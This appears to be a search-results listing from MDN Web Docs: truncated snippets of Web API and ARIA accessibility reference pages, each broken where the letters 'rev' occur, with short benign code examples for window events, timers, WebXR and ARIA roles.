[1]["d#"] = 38.890872965260113; notefreq[1]["e"] = 41.203444614108741; notefreq[1]["f"] = 43.653528929125485; notefreq[1]["f#"] = 46.249302838954299; notefreq[1]["g"] = 48.999429497718661; notefreq[1]["g#"] = 51.913087197493142; notefreq[1]["a"] = 55.000000000000000; notefreq[1]["a#"] = 58.270470189761239; notefreq[1]["b"] = 61.735412657015513; ... several octaves not shown for b
revity ... notefreq[2]["c"] = 65.406391325149658; notefreq[2]["c#"] = 69.295657744218024; notefreq[2]["d"] = 73.416191979351890; notefreq[2]["d#"] = 77.781745930520227; notefreq[2]["e"] = 82.406889228217482; notefreq[2]["f"] = 87.307057858250971; notefreq[2]["f#"] = 92.498605677908599; notefreq[2]["g"] = 97.998858995437323; notefreq[2]["g#"] = 103.826174394986284; notefreq[2]["a...
Background audio processing using AudioWorklet - Web APIs
t samplecount = input[channelnum].length; for (let i = 0; i < samplecount; i++) { let sample = output[channelnum][i] + input[channelnum][i]; if (sample > 1.0) { sample = 1.0; } else if (sample < -1.0) { sample = -1.0; } output[channelnum][i] = sample; } } }; return true; } this is similar code to the p
revious sample in many ways, but only the first output—outputlist[0]—is altered. each sample is added to the corresponding sample in the output buffer, with a simple code fragment in place to p
revent the samples from exceeding the legal range of -1.0 to 1.0 by capping the values; there are other ways to avoid clipping that are perhaps less prone to distortion, but this is a simple example that's ...
Visualizations with Web Audio API - Web APIs
that moment in time captured in our array, and can proceed to visualize it however we like, for example by plotting it onto an html5 <canvas>. let's go on to look at some specific examples. ...
Attestation and Assertion - Web APIs
equently not necessary. when registering an authenticator for a new account, typically a trust on first use (tofu) model applies; and when adding an authenticator to an existing account, a user has already been authenticated and has established a secure session. assertion when a user chooses to log into a service, the server sends a challenge and the authenticator signs over it with a key pair p
reviously registered to that service. this creates an assertion. unlike the attestation, the format of the assertion is always the same regardless of the device being used. the assertion is returned through the webauthn api as the authenticatorassertionresponse. the assertion format is fairly simple as it contains four basic arraybuffers: clientdatajson - the same as in attestation. an arraybu...
Web Locks API - Web APIs
a, neither request can be granted. web applications can avoid this through several strategies, such as ensuring lock requests are not nested, or are always well ordered, or have timeouts. note that such deadlocks only affect the locks themselves and code depending on them; the browser, other tabs, and other script in the page is not affected. interfaces lock provides the name and mode of a p
reviously requested lock, which is received in the callback to lockmanager.request(). lockmanager provides methods for requesting a new lock object and querying for an existing lock object. to get an instance of lockmanager, call navigator.locks. specifications specification status comment web locks api draft initial definition. ...
Web Speech API - Web APIs
eechrecognitionresultlist represents a list of speechrecognitionresult objects, or a single one if results are being captured in continuous mode. speech synthesis speechsynthesis the controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides. speechsynthesiserro
revent contains information about any errors that occur while processing speechsynthesisutterance objects in the speech service. speechsynthesisevent contains information about the current state of speechsynthesisutterance objects that have been processed in the speech service. speechsynthesisutterance represents a speech request. it contains the content the speech service should read and inform...
Functions and classes available to Web Workers - Web APIs
standard worker, and use associated functionality. 40 (40) no support (yes) no support textencoder and textdecoder create and return a new textencoder, or respectively textdecoder, allowing to encode or decode strings into specific encodings. 20 (20) no support no support no support url workers can use the static methods url.createobjecturl and url.
revokeobjecturl with blob objects accesible to the worker. workers can also create a new url using the url() constructor and call any normal method on the returned object. 21 (21) and 26 (26) for url() constructor no support no support no support webgl with offscreencanvas webgl (web graphics library) is a javascript api for rendering interactive 3d and 2d graphics within ...
The structured clone algorithm - Web APIs
the structured clone algorithm copies complex javascript objects. it is used internally to transfer data between workers via postmessage(), storing objects with indexeddb, or copying objects for other apis. it clones by recursing through the input object while maintaining a map of p
reviously visited references, to avoid infinitely traversing cycles. things that don't work with structured clone function objects cannot be duplicated by the structured clone algorithm; attempting to throws a data_clone_err exception. cloning dom nodes likewise throws a data_clone_err exception. certain object properties are not preserved: the lastindex property of regexp objects is not preserved. property descriptors, setters, getters, and similar metadata-like features are not duplicated. ...
Window: afterprint event - Web APIs
the afterprint event is fired after the associated document has started printing or the print p
review has been closed. bubbles no cancelable no interface event event handler property onafterprint examples using addeventlistener(): window.addeventlistener('afterprint', (event) => { console.log('after print'); }); using the onafterprint event handler property: window.onafterprint = (event) => { console.log('after print'); }; specifications specification status html living standard living standard ...
Window.alert() - Web APIs
nto a string and displayed. example window.alert("hello world!"); alert("hello world!"); both produce: notes the alert dialog should be used for messages which do not require any response on the part of the user, other than the acknowledgement of the message. the following text is shared between this article, dom:window.prompt and dom:window.confirm dialog boxes are modal windows - they p
revent the user from accessing the rest of the program's interface until the dialog box is closed. for this reason, you should not overuse any function that creates a dialog box (or modal window). specification specification status comment html living standardthe definition of 'alert()' in that specification. living standard ...
Window.back() - Web APIs
this was a firefox-specific method and was removed in firefox 31. note: use the standard history.back method instead. syntax window.back(); parameters none. return value undefined. example this simple example handles a click on a "back" button by calling back(). ...
Window: beforeprint event - Web APIs
the beforeprint event is fired when the associated document is about to be printed or p
reviewed for printing. bubbles no cancelable no interface event event handler property onbeforeprint examples using addeventlistener(): window.addeventlistener('beforeprint', (event) => { console.log('before print'); }); using the onbeforeprint event handler property: window.onbeforeprint = (event) => { console.log('before print'); }; specifications specification status html living standard living standard ...
window.cancelAnimationFrame() - Web APIs
syntax window.cancelanimationframe(requestid); parameters requestid the id value returned by the call to window.requestanimationframe() that requested the callback. examples var requestanimationframe = window.requestanimationframe || window.mozrequestanimationframe || window.webkitrequestanimationframe || window.msrequestanimationframe; var cancelanimationframe = window.cancelanimationframe || window.mozcancelanimationframe; var start = window.mozanimationstarttime; // only supported in ff. ...
window.cancelIdleCallback() - Web APIs
syntax window.cancelidlecallback(handle); parameters handle the id value returned by window.requestidlecallback() when the callback was established. return value undefined. example see our complete example in the article cooperative scheduling of background tasks api. specifications specification status comment cooperative scheduling of background tasks proposed recommendation initial definition. browser compatibility the compatibility table in this page is generated from structured data. ...
Window.closed - Web APIs
at opened it. before attempting to change the url, it checks that the current window has an opener using the window.opener property and that the opener isn't closed: // check that an opener exists and is not closed if (window.opener && !window.opener.closed) { window.opener.location.href = 'http://www.mozilla.org'; } note that popups can only access the window that opened them. refreshing a p
reviously opened popup in this example the function refreshpopupwindow() calls the reload() method of the popup's location object to refresh its data. if the popup hasn't been opened yet or the user has closed it a new window is opened. const popupwindow = null; function refreshpopupwindow() { if (popupwindow && !popupwindow.closed) { // popupwindow is open, refresh it popupwindow.locati...
Window.confirm() - Web APIs
ok (true) or cancel (false) was selected. if a browser is ignoring in-page dialogs, then the returned value is always false. example if (window.confirm("do you really want to leave?")) { window.open("exit.html", "thanks for visiting!"); } produces: notes the following text is shared between this article, dom:window.prompt and dom:window.alert dialog boxes are modal windows — they p
revent the user from accessing the rest of the program's interface until the dialog box is closed. for this reason, you should not overuse any function that creates a dialog box (or modal window). regardless, there are good reasons to avoid using dialog boxes for confirmation. specification specification status comment html living standardthe definition of 'confirm()' in tha...
Window.convertPointFromNodeToPage() - Web APIs
given a point specified in a particular dom node's coordinate system, the window method convertpointfromnodetopage() returns a point which specifies the same position in the page's coordinate system. this method is non-standard and should not be used. please
review the browser compatibility section before using this method, as it's not widely supported (nor is the point object it uses). syntax point = window.convertpointfromnodetopage(node, nodepoint); parameters node the node in whose coordinate system the point specified by nodepoint is described. nodepoint a point object describing a point in node's coordinate system; this point will be converted to the page's coordinate system. return value a point object specifying a point in the page's coordinate system. specification...
Window.customElements - Web APIs
the customelements read-only property of the window interface returns a reference to the customelementregistry object, which can be used to register new custom elements and get information about p
reviously registered custom elements. examples the most common example you'll see of this property being used is to get access to the customelementregistry.define() method to define and register a new custom element, e.g.: let customelementregistry = window.customelements; customelementregistry.define('my-custom-element', mycustomelement); however, it is usually shortened to something like the following: customelements.define('element-details', class extends htmlelement { constructor() { super(); const template = document .getelementbyid('element-details-template') ...
Window.fullScreen - Web APIs
the fullscreen property of the window interface indicates whether the window is displayed in full screen mode or not. syntax isinfullscreen = windowref.fullscreen; with chrome privileges, the property is read-write, otherwise it is read-only. bear in mind that if you try to set this property without chrome privileges, it will not throw an exception and instead just silently fail. this is to p
revent scripts designed to set this property in internet explorer from breaking. return value isinfullscreen a boolean. possible values: true: the window is in full screen mode. false: the window is not in full screen mode. notes switching between regular window and full screen will fire the "resize" event on the corresponding window. example if (window.fullscreen) { // it's fulls...
window.location - Web APIs
roperties. syntax var oldlocation = location; location = newlocation; examples basic example alert(location); // alerts "/docs/web/api/window/location" example #1: navigate to a new page whenever a new value is assigned to the location object, a document will be loaded using the url as if location.assign() had been called with the modified url. note that security settings, like cors, may p
revent this to effectively happen. location.assign("http://www.mozilla.org"); // or location = "http://www.mozilla.org"; example #2: force reloading the current page from the server location.reload(true); example #3 consider the following example, which will reload the page by using the replace() method to insert the value of location.pathname into the hash: function reloadpagewithhash() { v...
Window.ondragdrop - Web APIs
p attribute are not implemented in gecko (bug 112288), you have to use addeventlistener. see addeventlistener for details. example fire an alert on dragdrop in this example, an event listener is added to the window (the event target). if, from an external source, a tab, a link, marked text or a file is dragged and dropped onto this window, the alert is fired. note how event.stoppropagation(); p
revents the browser from loading the dropped tab, link or file. <html> <head><title>dragdroptest</title> <script type="text/javascript"> window.addeventlistener("dragdrop", testfunc, false); function testfunc(event) { alert("dragdrop!"); event.stoppropagation(); } </script> </head> <body> i am bodytext </body> </html> specification not part of specification. ...
Window: online event - Web APIs
the online event of the window interface is fired when the browser has gained access to the network and the value of navigator.online switches to true. note: this event shouldn't be used to determine the availability of a particular website. network problems or firewalls might still p
revent the website from being reached. bubbles no cancelable no interface event event handler property ononline examples // addeventlistener version window.addeventlistener('online', (event) => { console.log("you are now connected to the network."); }); // ononline version window.ononline = (event) => { console.log("you are now connected to the network."); }; specifications specification status html living standardthe d...
Privileged features - Web APIs
t window closes when its parent window closes. a dependent window is minimized on the windows task bar only when its parent window is minimized. on windows platforms, a dependent window does not show on the task bar. a dependent window also stays in front of the parent window. dependent windows are not implemented on macos x, this option will be ignored. the dependent feature is currently under
revision to be removed (bug 214867) in msie 6, the nearest equivalent to this feature is the showmodelessdialog() method. chrome if on, the page is loaded as window's only content, without any of the browser's interface elements. there will be no context menu defined by default and none of the standard keyboard shortcuts will work. the page is supposed to provide a user interface of its own, usual...
Window.opener - Web APIs
a opens window b, b.opener returns a. syntax const openerwindow = window.opener value a window referring to the window that opened the current window (using window.open(), or by a link with target attribute set). if this window was not opened by being linked to or created by another, returns null. in modern browsers, a rel="noopener noreferrer" attribute on the originating <a> element will p
revent the window.opener reference from being set, in which case this property will return null. specifications specification status comment html living standardthe definition of 'window.opener' in that specification. living standard ...
Window.pageYOffset - Web APIs
ith the target element in hand, we set the scrolltop of the frame's scrollingelement to the offsettop of the target element. by doing so, we set the vertical scrolling position of the frame's document so that it's the same as the top edge of the target element. this will automatically set the scrolling position to the maximum possible value if the attempted scroll would exceed the maximum. this p
revents us from falling off the edge of the document. nobody wants to know what's out there. there might be dragons. css iframe { width: 620px; height: 450px; border: 1px solid black; } #info { margin-top: 20px; font: 16px "open sans", "helvetica", "arial"; } result the result follows. note that the frame's contents have been scrolled to show the section named "overview", and that th...
Window: pagehide event - Web APIs
the pagehide event is sent to a window when the browser hides the current page in the process of presenting a different page from the session's history. for example, when the user clicks the browser's back button, the current page receives a pagehide event before the p
revious page is shown. bubbles no cancelable no interface pagetransitionevent event handler property onpagehide examples in this example, an event handler is established to watch for pagehide events and to perform special handling if the page is being persisted for possible reuse. window.addeventlistener("pagehide", event => { if (event.persisted) { /* the page isn't being discarded, so it can be reused later */ } }, false); this can also be written using the o...
Window.prompt() - Web APIs
e cancel button, this function returns null. the above prompt appears as follows (in chrome on os x): notes a prompt dialog contains a single-line textbox, a cancel button, and an ok button, and returns the (possibly empty) text the user entered into that textbox. the following text is shared between this article, dom:window.confirm and dom:window.alert dialog boxes are modal windows; they p
revent the user from accessing the rest of the program's interface until the dialog box is closed. for this reason, you should not overuse any function that creates a dialog box (or modal window). please note that result is a string. that means you should sometimes cast the value given by the user. for example, if their answer should be a number, you should cast the value to number. const anumber =...
Window: transitionend event - Web APIs
completion, such as if the transition-property is removed or display is set to none, then the event will not be generated. bubbles yes cancelable yes interface transitionevent event handler property ontransitionend the transitionend event is fired in both directions - as it finishes transitioning to the transitioned state, and when it fully
reverts to the default or non-transitioned state. if there is no transition delay or duration, if both are 0s or neither is declared, there is no transition, and none of the transition events are fired. if the transitioncancel event is fired, the transitionend event will not fire. the original target for this event is the element that had the transition applied. you can listen for this event on the ...
WindowEventHandlers.onafterprint - Web APIs
the onafterprint property of the windoweventhandlers mixin is the eventhandler for processing afterprint events for the current window. these events are raised after the user prints, or if they abort the print dialog. the beforeprint and afterprint events allow pages to change their content before printing starts (perhaps to remove a banner, for example) and then
revert those changes after printing has completed. in general, you should prefer the use of an @media print css at-rule, but it may be necessary to use these events in some cases. syntax window.addeventlistener("afterprint", function(event) { ... }); window.onafterprint = function(event) { ... }; specification specification status comment html living standardthe definition of 'onafterprint' in that speci...
WindowEventHandlers.onbeforeprint - Web APIs
the onbeforeprint property of the windoweventhandlers mixin is the eventhandler for processing beforeprint events for the current window. these events are raised before the print dialog window is opened. the beforeprint and afterprint events allow pages to change their content before printing starts (perhaps to remove a banner, for example) and then
revert those changes after printing has completed. in general, you should prefer the use of an @media print css at-rule, but it may be necessary to use these events in some cases. syntax window.addeventlistener("beforeprint", function(event) { ... }); window.onbeforeprint = function(event) { ... }; polyfill safari does not implement these events, but you can create an equivalent result to the beforeprint event with window.matchmedia('print'...
WindowEventHandlers.onhashchange - Web APIs
ew hash dynamically, setting it randomly to one of two values. function changehash() { location.hash = (math.random() > 0.5) ? 'location1' : 'location2'; } the hashchange event the dispatched hashchange event has the following properties: field type description newurl domstring the new url to which the window is navigating. oldurl domstring the p
revious url from which the window was navigated. polyfill for event.newurl and event.oldurl // let this snippet run before your hashchange event binding code if (!window.hashchangeevent)(function(){ var lasturl = document.url; window.addeventlistener("hashchange", function(event){ object.defineproperty(event, "oldurl", {enumerable:true,configurable:true,value:lasturl}); object.def...
WindowOrWorkerGlobalScope.btoa() - Web APIs
h; i++) { codeunits[i] = string.charcodeat(i); } return string.fromcharcode(...new uint8array(codeunits.buffer)); } // a string that contains characters occupying > 1 byte const mystring = "☸☹☺☻☼☾☿"; const converted = tobinary(mystring); const encoded = btoa(converted); console.log(encoded); // ocy5jjomoyy8jj4mpyy= if you do this, of course you'll have to
reverse the conversion on the decoded string: function frombinary(binary) { const bytes = new uint8array(binary.length); for (let i = 0; i < bytes.length; i++) { bytes[i] = binary.charcodeat(i); } return string.fromcharcode(...new uint16array(bytes.buffer)); } const decoded = atob(encoded); const original = frombinary(decoded); console.log(original); // ☸☹☺☻☼☾...
WindowOrWorkerGlobalScope.clearInterval() - Web APIs
syntax scope.clearinterval(intervalid) parameters intervalid the identifier of the repeated action you want to cancel. this id was returned by the corresponding call to setinterval(). it's worth noting that the pool of ids used by setinterval() and settimeout() are shared, which means you can technically use clearinterval() and cleartimeout() interchangeably. however, for clarity, you should avoid doing so. return value undefined example see the setinterval() examples. ...
WindowOrWorkerGlobalScope.clearTimeout() - Web APIs
syntax scope.cleartimeout(timeoutid) parameters timeoutid the identifier of the timeout you want to cancel. this id was returned by the corresponding call to settimeout(). it's worth noting that the pool of ids used by settimeout() and setinterval() are shared, which means you can technically use cleartimeout() and clearinterval() interchangeably. however, for clarity, you should avoid doing so. example run the script below in the context of a web page and click on the page once. you'll see a message popping up in a second. ...
Worker - Web APIs
e workers with access to js-ctypes, use chromeworker object instead. constructors worker() creates a dedicated web worker that executes the script at the specified url. this also works for blob urls. properties inherits properties from its parent, eventtarget, and implements properties from abstractworker. event handlers abstractworker.onerror an eventlistener called whenever an erro
revent of type error bubbles through to the worker. this is inherited from abstractworker. worker.onmessage an eventlistener called whenever a messageevent of type message bubbles through the worker — i.e. when a message is sent to the parent document from the worker via dedicatedworkerglobalscope.postmessage. the message is stored in the event's data property. worker.onmessageerror is an event...
WritableStream - Web APIs
in a single write() operation. in this example, it's the maximum amount of data that can be sent to defaultwriter.write() (line 11). the defaultwriter.ready property returns a promise that resolves when the sink (the first property of the writablestream constructor) is done writing data. the data source can either write more data (line 9) or call close() (line 24). calling close() too early can p
revent data from being written. this is why the example calls defaultwriter.ready twice (lines 9 and 22). the promise returned by the sink's write() method (line 40) tells the writablestream and its writer when to resolve defaultwriter.ready. specifications specification status comment streamsthe definition of 'writablestream' in that specification. living standard ...
WritableStreamDefaultWriter.close() - Web APIs
during this time any further attempts to write will fail (without erroring the stream). syntax var promise = writablestreamdefaultwriter.close(); parameters none. return value a promise, which fulfills with the undefined if all remaining chunks were successfully written before the close, or rejects with an error if a problem was encountered during the process. ...
XDomainRequest.send() - Web APIs
syntax xdr.send(data); parameters data the form data to be sent with the request. this parameter is optional for get requests. ...
XDomainRequest - Web APIs
note: the xdr.onprogress event should always be defined, even as an empty function, or xdomainrequest may not fire onload for duplicate requests. security the xdomainrequest is built to be secure in multiple ways. the origin's security protocol must match that of the r...
How to check the security state of an XMLHTTPRequest over SSL - Web APIs
// the bases are actually negative, so in our positive numeric space, we // need to subtract the base off our value. let nsserr = math.abs(nsinsserrorsservice.nss_sec_error_base) - (status & 0xffff); switch (nsserr) { case 11: // sec_error_expired_certificate, sec(11) errname = 'securityexpiredcertificateerror'; break; case 12: // sec_error_
revoked_certificate, sec(12) errname = 'security
revokedcertificateerror'; break; // per bsmith, we will be unable to tell these errors apart very soon, // so it makes sense to just folder them all together already. case 13: // sec_error_unknown_issuer, sec(13) case 20: // sec_error_untrusted_issuer, sec(20) case 21: // sec_error_u...
Synchronous and asynchronous requests - Web APIs
ty of the variable xhr, passed to the success callback function xhrsuccess., and ultimately supplied to the callback function (in this case, showmessage) which is invoked by function xhrsuccess. line 15 specifies true for its third parameter to indicate that the request should be handled asynchronously. line 16 actually initiates the request. example: using a timeout you can use a timeout to p
revent your code from hanging while waiting for a read to finish. this is done by setting the value of the timeout property on the xmlhttprequest object, as shown in the code below: function loadfile(url, timeout, callback) { var args = array.prototype.slice.call(arguments, 3); var xhr = new xmlhttprequest(); xhr.ontimeout = function () { console.error("the request for " + url + ...
XMLHttpRequest.mozBackgroundRequest - Web APIs
note: this method is not available from web content. it requires elevated privileges to access. xmlhttprequest.mozbackgroundrequest is a boolean, indicating if the object represents a background service request. if true, no load group is associated with the request, with security dialogs p
revented from being shown to the user. in cases in where a security dialog (such as authentication or a bad certificate notification) would normally be shown, this request fails instead. note: this property must be set before calling open(). ...
XMLHttpRequestEventTarget - Web APIs
ved by this object. xmlhttprequesteventtarget.onprogress contains the function that is called periodically with information about the progress of the request and the progress event is received by this object. xmlhttprequesteventtarget.ontimeout contains the function that is called if the event times out and the timeout event is received by this object; this only happens if a timeout has been p
reviously established by setting the value of the xmlhttprequest object's timeout attribute. xmlhttprequesteventtarget.onloadend contains the function that is called when the load is completed, even if the request failed, and the loadend event is received by this object. specifications specification status comment xmlhttprequest living standard whatwg living standar...
XMLSerializer.serializeToString() - Web APIs
documenttype document documentfragment element comment text processinginstruction attr if any other type is encountered, a typeerror exception is thrown. notes on the resulting xml there are some things worth noting about the xml output by serializetostring(): for xml serializations, element and attr nodes are always serialized with their namespaceuri intact. this may mean that a p
reviously-specified prefix or default namespace may be dropped or altered. the resulting xml is compatible with the html parser. elements in the html namespace that have no child nodes (thereby representing empty tags) are serialized with both begin and end tags ("<someelement></someelement>") instead of using the empty-element tag ("<someelement/>"). specifications specification sta...
XRBoundedReferenceSpace - Web APIs
n array of points, each of which defines a vertex in a polygon inside which the user is allowed to move. this is typically used when the xr system is capable of tracking the user's physical movement within a limited distance of their starting position. the specified bounds may, in fact, describe the shape and size of the room the user is located in, in order to let the webxr site or application p
revent the user from colliding with the walls or other obstacles in the real world. at a minimum, the boundaries indicate the area in which the xr device is capable of tracking the user's movement. see the article using bounded reference spaces for details on how bounded spaces work and why they're useful. properties in addition to the properties of xrreferencespace, xrboundedreferencespace includ...
XRReferenceSpace - Web APIs
geometry the native origin of any xrreferencespace is always configured so that +x is considered to be to the right, +y is upward, and +z is "backward" or toward the user. specifications specification status comment webxr device apithe definition of 'xrreferencespace' in that specification. working draft initial definition. ...
XRRigidTransform() - Web APIs
ntually resolved, at which time we receive a new reference space object, refspace. after creating an xrrigidtransform from the viewer's initial position and orientation, we pass the new transform into getoffsetreferencespace() to create another reference space, now offset so that its origin is located at the same place in space as the coordinates given by viewerposition, with the orientation also
revised in the same fashion. then requestanimationframe() is called to ask for a new animation frame to draw into. the drawframe() callback will be executed when the system is ready to draw the next frame. you can find more examples in movement, orientation, and motion. specifications specification status comment webxr device apithe definition of 'xrrigidtransform()' i...
XRRigidTransform.inverse - Web APIs
ect which is the inverse of its owning transform. that is, you can always get the inverse of any xrrigidtransform using its inverse property, instead of having to explicitly generate it. syntax let transforminverse = xrrigidtransform.inverse; value an xrrigidtransform which contains the inverse of the xrrigidtransform on which it's accessed. applying the inverse of a transform to any object p
reviously transformed by the parent xrrigidtransform always undoes the transformation, resulting in the object returning to its p
revious pose. in other words, its position and orientation both return to their prior configurations. examples in this example, the model view matrix for an object is computed by taking the view matrix and multiplying it by the object's pose matrix. let modelviewmatrix =...
XRRigidTransform - Web APIs
t quaternion, its length is always normalized to 1.0. xrrigidtransform.matrix read only returns the transform matrix in the form of a 16-member float32array. see the section matrix format for how the array is used to represent a matrix. xrrigidtransform.inverse read only returns a xrrigidtransform which is the inverse of this transform. that is, if applied to an object that had been p
reviously transformed by the original transform, it will undo the transform and return the original object. usage notes when an xrrigidtransform is interpreted, the orientation is always applied to the affected object before the position is applied. example this code snippet creates an xrrigidtransform to specify the offset and orientation in relation to the current reference space to use when c...
XRSession.cancelAnimationFrame() - Web APIs
return value none. usage notes this function has no effect if the specified handle cannot be found. example in the example below we see code which starts up a webxr session if immersive vr mode is supported. once started, the session schedules its first frame to be rendered by calling requestanimationframe(). ...
XRSession.inputSources - Web APIs
devices are connected to and removed from the user's system, the list's contents update to reflect the changes. usage notes you can add a handler for the xrsession event inputsourceschange to be advised when the contents of the session's connected devices list changes. you can then either get the value of inputsources to examine the list, or you can refer to a reference to the list that you've p
reviously saved. specifications specification status comment webxr device apithe definition of 'xrsession.inputsources' in that specification. working draft initial definition. ...
XRSession.onsqueeze - Web APIs
ssion receives a squeeze event. examples handling squeeze events for a specific hand this snippet of code adds a simple handler for the squeeze event, which responds only to events on the user's off-hand (that is, the hand that isn't their dominant hand). this is determined by comparing the input source's handedness against the value of a handedness property on a user object we've established p
reviously. xrsession.onsqueeze = event => { if (event.inputsource.handedness != user.handedness) { handleoffhandsqueeze(event.inputsource, event.frame); } }; finishing an ongoing squeeze action this example exapnds somewhat on the p
revious example by demonstrating a way to implement the ability for the user to drop an object that was p
reviously picked up by the user.. this is just a snipp...
XRSession - Web APIs
er, and if so, if it's being visible but not currently the target for user events. methods xrsession provides the following methods in addition to those inherited from its parent interface, eventtarget. cancelanimationframe() removes a callback from the animation frame painting callback from xrsession's set of animation frame rendering callbacks, given the identifying handle returned by a p
revious call to requestanimationframe(). end() ends the webxr session. returns a promise which resolves when the session has been shut down. requestanimationframe() schedules the specified method to be called the next time the user agent is working on rendering an animation frame for the webxr device. returns an integer value which can be used to identify the request for the purposes of canceling...
XRSystem: isSessionSupported() - Web APIs
onsessionstarted(xrsession); }); } else { // button is a toggle button. xrsession.end(); } } specifications specification status comment webxr device apithe definition of 'issessionsupported()' in that specification. working draft initial definition. ...
XRSystem: requestSession() - Web APIs
onsessionstarted(xrsession); }); } else { // button is a toggle button. xrsession.end().then(() => xrsession = null); } } specifications specification status comment webxr device apithe definition of 'requestsession()' in that specification. working draft initial definition. ...
XRViewport.y - Web APIs
be rendered. the viewport's x property identifies the x component of the origin, and its is given by the width and height properties. syntax y = xrviewport.y; value the offset from the bottom edge of the rendering surface to the bottom edge of the viewport, in pixels. note: although other web apis typically consider the y axis to begin at the top and grow larger progressing downward, webgl
reverses this, with y growing larger as it goes upward on the screen. examples see the main xrviewport page for examples. specifications specification status comment webxr device apithe definition of 'xrviewport.y' in that specification. working draft initial definition. ...
XSLTProcessor - Web APIs
m>.) a null value for namespaceuri is treated the same as an empty string. [throws] any xsltprocessor.getparameter(string namespaceuri, string localname) gets the value of a parameter from the xslt stylesheet. a null value for namespaceuri is treated the same as an empty string. [throws] void xsltprocessor.removeparameter(string namespaceuri, string localname) removes the parameter if it was p
reviously set. this will make the xsltprocessor use the default value for the parameter as specified in the stylesheet. a null value for namespaceuri is treated the same as an empty string. void xsltprocessor.clearparameters() removes all set parameters from the xsltprocessor. the xsltprocessor will then use the defaults specified in the xslt stylesheet. void xsltprocessor.reset() removes all par...
msGetRegionContent - Web APIs
y also be large incompatibilities between implementations and the behavior may change in the future. the msgetregioncontent returns an array of range instances corresponding to the content from the region flow that is positioned in the region. this proprietary method is specific to internet explorer browser. syntax var retval = element.msgetregioncontent(); parameters retval [out,
reval] type: msrangecollection the name of the property to enable. return value type: boolean returned ranges are sorted by document position and do not overlap. if an element is not a region, this method throws a domexception with the invalidaccesserror error code. this is only available to regions that are document elements and not to regions that are pseudo-elements. see also microsoft ap...
ARIA live regions - Accessibility
* basic javascript to update the clock */ setinterval(function() { var now = new date(); document.getelementbyid('clock').innerhtml = "time: " + now.gethours() + ":" + ("0"+now.getminutes()).substr(-2); }, 60000); the first time the function executes, the entirety of the string that is added will be announced. on subsequent calls, only the parts of the content that changed compared to the p
revious content will be announced. for instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users. one way around this would be to first clear the contents of the live region, and then inject the new content. however, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates. aria-at...
Using the aria-invalid attribute - Accessibility
ical error has been detected. spelling a spelling error has been detected. true the value has failed validation. any value not in this vocabulary should be treated as true. possible effects on user agents and assistive technology user agents should inform the user when a field is invalid. application authors should provide suggestions for correcting the problem, if possible. authors may p
revent a form from being submitted. note: opinions may differ on how assistive technology should handle this technique. the information provided above is one of those opinions and therefore not normative. examples example 1: simple form validation the following snippet shows a simplified version of two form fields with a validation function attached to the blur event. note that since the default ...
Using the slider role - Accessibility
-valuenow (and possible aria-valuetext) attribute to reflect the current value. see the examples section below for more information. keyboard and focus the slider should be keyboard focusable and operable. when the user tabs focus to the slider, it should land on the thumb: the control a mouse user would drag. arrow keys should operate as follows (localization for right-to-left languages should
reverse the direction of the arrows): key(s) action right and up arrows increase the selected value left and down arrows decrease the selected value page up and page down optionally increase and decrease the value by a set amount (e.g. by 10 on a range from 0 to 100) possible effects on user agents and assistive technology note: opinions...
Using the status role - Accessibility
examples: notes aria attributes used status related aria techniques alert role live region roles live region attributes compatibility the paciello group published some data on compatibility via their 2014 blog post: screen reader support for aria live regions tbd: add updated support information for common ua and at product combinations additional resources p
revious recommendations from wai-aria 1.0 (2014) for the status role ...
ARIA: timer role - Accessibility
ext); // remove a second // updated the content of timer timer.innertext = --seconds // if timer != 0, settimeout if (seconds) { settimeout( function() { starttimer(timername); }, 1000); } } the first time the function executes, the entirety of the string that is added will be announced. on subsequent calls, only the parts of the content that changed compared to the p
revious content will be announced. for instance, when the clock changes from "17:33" to "17:34", assistive technologies will only announce "4", which won't be very useful to users. one way around this would be to first clear the contents of the live region, and then inject the new content. however, this can sometimes be unreliable, as it's dependent on the exact timing of these two updates. aria-at...
ARIA: Comment role - Accessibility
examples in the following example we have a document section that has been commented. the commented section is marked up using <span role="mark">. the related comment is marked up using an html structure wrapped with a <div> containing role="comment". ...
ARIA: feed role - Accessibility
cle contains dom focus. loading or removing feed articles based on which article contains dom focus. in the context of a feed, assistive technologies with a reading mode are responsible for: indicating which article contains the reading cursor by ensuring the article element or one of its descendants has dom focus. providing reading mode keys that move dom focus to the next and p
revious articles. providing reading mode keys for moving the reading cursor and dom focus past the end and before the start of the feed. keyboard interaction supporting the following, or a similar, interface is recommended when focus is inside the feed: page down: move focus to next article. page up: move focus to p
revious article. control + end: move focus to the first focusable ele...
ARIA: switch role - Accessibility
the element is exposed to the system's accessibility infrastructure as having the switch role. when the aria-checked attribute's value changes, an accessible event is fired using the system's accessibility api if one is available and it supports the switch role. all elements that are descendants of an element with the switch role applied to it are automatically assigned role presentation. this p
revents elements that are used to construct the switch from being interacted with individually by assistive technologies. text in these elements remains visible to the user agent and may be read or otherwise delivered to the user, unless it's expressly hidden using display: none or aria-hidden="true". the assistive technology, if it supports the switch role, responds by doing the following: scr...
ARIA: button role - Accessibility
id transparent; } button:active, button:focus, [role="button"][aria-pressed="true"] { border: 2px solid #000; } javascript function handlebtnclick(event) { togglebutton(event.target); } function handlebtnkeydown(event) { // check to see if space or enter were pressed if (event.key === " " || event.key === "enter" || event.key === "spacebar") { // "spacebar" for ie11 support // p
revent the default action to stop scrolling when space is pressed event.p
reventdefault(); togglebutton(event.target); } } function togglebutton(element) { var audio = document.getelementbyid('audio'); // check to see if the button is pressed var pressed = (element.getattribute("aria-pressed") === "true"); // change aria-pressed to the opposite state element.setattribute("aria-pre...
ARIA: dialog role - Accessibility
it is important for developers to ensure that content outside of the modal dialog is inaccessible to all users while the modal dialog is active. specifications specification status accessible ...
ARIA: textbox role - Accessibility
nent, indicates what kind of information is expected, and increases the hit area for setting focus on the control, whereas placeholder text is only temporary hint about the expected value, which if implemented incorrectly can decrease accessibility. the placeholder should be visible when the control's value is the empty string such as when the control first receives focus and when users remove a p
reviously-entered value. instead of using aria-placeholder, use the semantic <input type="text"> or <textarea> with a placeholder attribute. aria-readonly attribute indicates that the user cannot modify the value of the text field. instead of using aria-readonly, use the semantic <input type="text"> or <textarea> with a readonly attribute. aria-required attribute indicates that a value must be pr...
WAI-ARIA Roles - Accessibility
